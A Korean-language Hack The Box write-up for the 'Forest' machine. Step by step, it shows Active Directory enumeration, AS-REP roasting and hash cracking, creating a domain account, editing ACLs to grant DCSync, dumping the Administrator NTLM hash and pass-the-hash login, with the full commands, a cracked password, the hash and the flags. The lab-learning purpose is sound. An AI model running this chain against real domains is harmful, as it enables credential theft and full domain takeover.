대상 서버 : 10.129.162.33 (HTB 머신 IP)
nmap 정찰 결과
AD 서비스를 제공하는 DC 서버임을 알 수 있으며 중요정보를 추출해보자면
Domain : htb.local
Host : FOREST
정도가 있을 것 같다
동작 중인 서비스들에 접근을 시도해보자
SMB 익명 접근을 시도
smbclient -L //10.129.162.33 -N
RPC 익명 접근 시도
rpcclient -U "" -N 10.129.162.33
msrpc 클라이언트로 접근해서 사용할 수 있는 명령어를 확인해보자
- enumdomusers: 도메인에 등록된 모든 사용자와 각 사용자의 RID(상대 식별자)를 나열합니다.
- queryuser <RID>: 특정 RID를 가진 사용자의 상세 정보(전체 이름, 설명, 홈 디렉터리 등)를 출력합니다.
- querydispinfo: 모든 도메인 사용자의 계정 이름, 전체 이름 및 계정 설명을 한눈에 파악하기 쉽게 요약 표시합니다.
- queryusergroups <RID>: 지정된 사용자가 속한 그룹 목록을 확인합니다.
- lookupnames <Username>: 특정 사용자 이름의 SID(보안 식별자)를 조회합니다.
등이 있다고 한다 enumdomusers 명령어를 통해서 DC 도메인에 등록된 사용자 정보를 추출시도해보자
추출하여 사용할만한 유저정보를 추려보자
Administrator
Guest
sebastien
lucinda
svc-alfresco
andy
mark
santi위와 같이 추려봤다
해당 유저정보는 user.txt로 따로 저장해두고
이제 AS-REP Rosting을 시도해보자
AS-REP Rosting이란
정상 적인 커버로스 인증단계중 DC가 사용자를 인증하는 과정인 Pre-Authentication 단계가 있다
해당 단계에서는 사용자가 AS-REQ를 자신의 해시화된 PW로 암호화하여 요청을 하고 DC는 사용자의
해시화된 PW로 복호화를 시도하여 성공하면 인증에 성공했다고 판단하여 AS-REP를 응답으로 보내는 과정이다
단, 해당 과정을 진행하기 전에 Do not require Kerberos preauthentication 옵션이 켜져있는 사용자에
대해서는 AS-REQ를 사용자의 해시화된 PW로 암호화하지 않고 그냥 요청하게 되어있다.
이 부분에서 공격이 동작하게 되는데 공격자는 해당 설정이 되어있는 사용자로 위장해 AS-REQ를 보내고
응답으로 돌아온 AS-REP중 usersecert 부분만 추출해 크랙을 통해서 사용자 평문 PW를 추출할 수 있게 된다.중점은 사용자 PW를 오프라인에서 크래킹 할 수 있어서 흔적이 남지 않는다는 것이다
impacket-GetNPUsers htb.local/ -usersfile user.txt -dc-ip 10.129.162.33 -no-pass
크래킹 해보자
hashcat -m 18200 ./Forest/svc-alfresco_hash.txt ./word_list/rockyou.txt
확보된 정보 정리
계정 : svc-alfresco
비밀번호 : s3rvice
도메인 : htb.local
확보한 계정으로 WinRM 접속시도
evil-winrm -i 10.129.162.33 -u svc-alfresco -p s3rvice
User Flag를 확보하자
UserFlag : 1fa18f75c9565f8ae766253a4d9ec1a2
권한 상승을 위해서 bloodhound로 계정간 관계를 알아보자
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.129.162.33 -c All
경로상 정보를 확인해본 결과 Exchange Windows PerMissions 그룹을 통해서 도메인에 접근해서 수정이 가능 함을 알 수 있다
즉, 확보한 svc-alfresco 계정에 Getchanges, Getchangesall 권한을 부여해 DCSync 공격이 가능 할 것 임
impacket의 dacledit을 사용해서 ACL을 수정해주자
impacket-dacledit -action write -rights DCSync -principal svc-alfresco -target-dn "DC=htb,DC=local" -dc-ip 10.129.162.33 htb.local/svc-alfresco:s3rvice옵션 설명
-action write : ACL 추가
-rights DCSync : GetChanges + GetChangesAll 권한을 한번에 부여함
-principal svc-alfresco : 권한 받을 계정
-target-dn : Domain root object
-dc-ip 10.129.162.33 : DC서버 IP
추가로 조사를해본 결과 svc-alfresco 계정은 Exchange Windows PerMissions 그룹에 대해서 모든 권한이 있는 것일 뿐 htb.local에 dacl을 수정할 수 있는 Exchange Windows PerMissions 그룹에 포함된것이 아니라 바로 dacl을 수정하려하면 안되는 것 같음
그러면 Exchange Windows PerMissions 그룹에 포함되는 계정을 하나 파서 dacl을 수정해보자
net user rotus rotus123 /add /domain
net group "Exchange Windows Permissions" rotus /add /domain
생성한 계정을 통해서 Replication 요청권한을 svc-alfresco 계정에 부여하자!
impacket-dacledit -action write -rights DCSync -principal svc-alfresco -target-dn "DC=htb,DC=local" -dc-ip 10.129.162.33 htb.local/rotus:rotus123
그럼 중간 점검차 bloodhound 정보를 다시 뽑아서 권한구조가 바뀐걸 확인해보자
생각으로는 svc-alfresco 계정에서 htb.local에 바로 GetChanges, GetChangesAll 권한이 바로 생길줄 알았는데 아닌듯 하다
일단 DCsync 공격을 시도해보자 예상 해보기에는 아마 dacl 수정이 제대로 안된거같아서 권한이 없다고 나올 것 같긴하다
impacket-secretsdump -just-dc-user Administrator htb.local/svc-alfresco:s3rvice@10.129.162.33
아마 svc-alfresco 계정이 속한 그룹이 htb.local에 직접 접근할 수 없는것 같아보인다
DCSync 권한을 rotus 계정에 주고 다시 시도해보자
impacket-dacledit -action write -rights DCSync -principal rotus -target-dn "DC=htb,DC=local" -dc-ip 10.129.162.33 htb.local/rotus:rotus123impacket-secretsdump -just-dc-user Administrator htb.local/rotus:rotus123@10.129.162.33
Exchange Windows PerMissions 그룹에 속한 rotus 계정으로 DCSync를 시도하니 바로 성공
그럼 bloodhound를 다시 확인해보자
어째서 rotus 계정에서 htb.local에 getchanges 권한이 없는거지..?
추가 조사결과 bloodhound 자체에서 권한 관계를 재대로 수집을 못할때도 있다고는 하는데 확실하게는 모르겠다..
일단 Administrator의 NTLM 인증 해시를 확보했으니 Administrator로 접속해보자
evil-winrm -i 10.129.162.33 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Root Flag를 확보하자
RootFlag : 0c445762eb7310b2ae482a9d808aebfb
// 개인적으로 저번에 풀었던 Sauna와 매우 유사해서 복습도 되고 좋은 경험이었다
// Sauna와의 차이점은 계정정보를 확보하는 과정 및 DCSync 공격을 위한 dacl 조작부분인 것 같으며
// Sauna는 차려진 밥상에 DCSync공격을 수행한다면 Forest는 밥상부터 차리는 느낌이 있는 것 같다
